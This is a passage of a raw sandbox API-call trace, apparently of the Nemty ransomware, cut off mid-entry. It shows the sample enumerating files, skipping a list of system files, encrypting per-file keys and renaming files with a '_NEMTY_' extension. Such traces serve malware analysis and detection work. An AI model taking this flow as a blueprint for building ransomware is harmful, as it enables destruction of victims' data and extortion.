lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0109.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-desk.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg-desk.png", lpUsedDefaultChar=0x0) returned 11 [0109.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-desk.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0109.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-desk.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg-desk.png", lpUsedDefaultChar=0x0) returned 11 [0109.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0109.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0109.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0109.910] Sleep (dwMilliseconds=0x5) [0109.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf5295cf0, dwHighDateTime=0x1d561e7)) [0109.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf5295cf0, dwHighDateTime=0x1d561e7)) [0109.915] GetLastError () returned 0xb7 [0109.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.915] GetLastError () returned 0xb7 [0109.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.916] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0109.916] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0109.916] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0109.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0109.916] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="oNVvH8W32rLAcH6QK0JxoDE++9VtXjjlmxLCKTVEjeZJmRTqnnceX5lbVMqjHQ6U\r\nuyLIz4vwWFTxVlGsA4VZVi3p3nPUhESKEmFiY4R5aOOJaD150ysB7tFmW+bhaO1u\r\n2fNmqeq9JpbkAjLGyxzN0o6tdvM1mAucoluaIbEQwB3T3vOUe/8CYjLlQ7p1jPot\r\nQ5HOIS+7zynRtwC5Pa9kcgdC5mcZHuJmGsyUaEsZmWuoYrfdsF91H0G4fISpWPwh\r\nD7XX4G8t9roeoAIGK6Yzcz66Cw5c1+V6jRbPiqQcmZGB0RuTwfNt1cl/9QjOhlIk\r\nqaQ/qJE0NPizO43ly/UzDg==\r\n", pcchString=0x653e91c) returned 1 [0109.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0109.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0109.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0109.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0109.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0109.916] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-desk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.916] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0109.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0109.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.926] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.965] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.011] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.017] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.017] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.023] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.023] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0110.024] CloseHandle (hObject=0xffffffff) returned 0 [0110.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0110.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0110.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0110.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0110.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0110.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0110.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-desk.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-desk.png._nemty_kgobjgd_")) returned 0 [0110.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0110.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0110.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0110.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0110.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0110.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0110.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0110.024] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8232d98a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8232d98a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="bg-dock.png", cAlternateFileName="")) returned 1 [0110.024] lstrcmpiW (lpString1="bg-dock.png", lpString2=".") returned 1 [0110.024] lstrcmpiW (lpString1="bg-dock.png", lpString2="..") returned 1 [0110.024] lstrcmpiW (lpString1="bg-dock.png", lpString2="...") returned 1 [0110.024] lstrcmpiW (lpString1="bg-dock.png", lpString2="windows") returned -1 [0110.024] lstrcmpiW (lpString1="bg-dock.png", lpString2="$RECYCLE.BIN") returned 1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="rsa") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="NTDETECT.COM") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="ntldr") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="MSDOS.SYS") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="IO.SYS") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="boot.ini") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="boot.ini") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="AUTOEXEC.BAT") returned 1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="ntuser.dat") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="desktop.ini") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="CONFIG.SYS") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="RECYCLER") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="BOOTSECT.BAK") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="bootmgr") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="programdata") returned -1 [0110.025] lstrcmpiW (lpString1="bg-dock.png", lpString2="appdata") returned 1 [0110.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-dock.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0110.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-dock.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg-dock.png", lpUsedDefaultChar=0x0) returned 11 [0110.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-dock.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0110.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-dock.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg-dock.png", lpUsedDefaultChar=0x0) returned 11 [0110.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-dock.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0110.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-dock.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg-dock.png", lpUsedDefaultChar=0x0) returned 11 [0110.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-dock.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0110.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-dock.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg-dock.png", lpUsedDefaultChar=0x0) returned 11 [0110.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0110.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0110.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0110.025] Sleep (dwMilliseconds=0x5) [0110.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf53c67f0, dwHighDateTime=0x1d561e7)) [0110.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf53c67f0, dwHighDateTime=0x1d561e7)) [0110.040] GetLastError () returned 0x5 [0110.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0110.040] GetLastError () returned 0x5 [0110.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0110.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.041] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0110.041] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0110.041] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0110.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0110.041] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: 